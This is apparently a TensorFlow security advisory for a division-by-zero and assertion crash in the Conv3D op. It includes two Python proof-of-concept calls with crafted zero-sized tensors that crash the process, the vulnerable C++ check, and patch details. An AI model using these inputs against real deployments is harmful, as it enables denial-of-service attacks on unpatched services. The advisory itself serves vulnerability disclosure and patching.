Division by zero in `Conv3D`
### Impact
A malicious user could trigger a division by 0 in `Conv3D` implementation:
```python
import tensorflow as tf
input_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
filter_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
tf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 56, 56, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 23, 1])
```
The implementation
https://github.com/tensorflow/tensorflow/blob/42033603003965bffac51ae171b51801565e002d/tensorflow/core/kernels/conv_ops_3d.cc#L143-L145 does a modulo operation based on user controlled input:
```cc
const int64 out_depth = filter.dim_size(4);
OP_REQUIRES(context, in_depth % filter_depth == 0, ...);
```
Thus, when `filter` has a 0 as the fifth element, this results in a division by 0.
Additionally, if the shape of the two tensors is not valid, an Eigen assertion can be triggered, resulting in a program crash:
```python
import tensorflow as tf
input_tensor = tf.constant([], shape=[2, 2, 2, 2, 0], dtype=tf.float32)
filter_tensor = tf.constant([], shape=[0, 0, 2, 6, 2], dtype=tf.float32)
tf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 39, 34, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])
```
The shape of the two tensors must follow the constraints specified in the op description
https://www.tensorflow.org/api_docs/python/tf/raw_ops/Conv3D.
### Patches
We have patched the issue in GitHub commit 799f835a3dfa00a4d852defa29b15841eea9d64f
https://github.com/tensorflow/tensorflow/commit/799f835a3dfa00a4d852defa29b15841eea9d64f.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.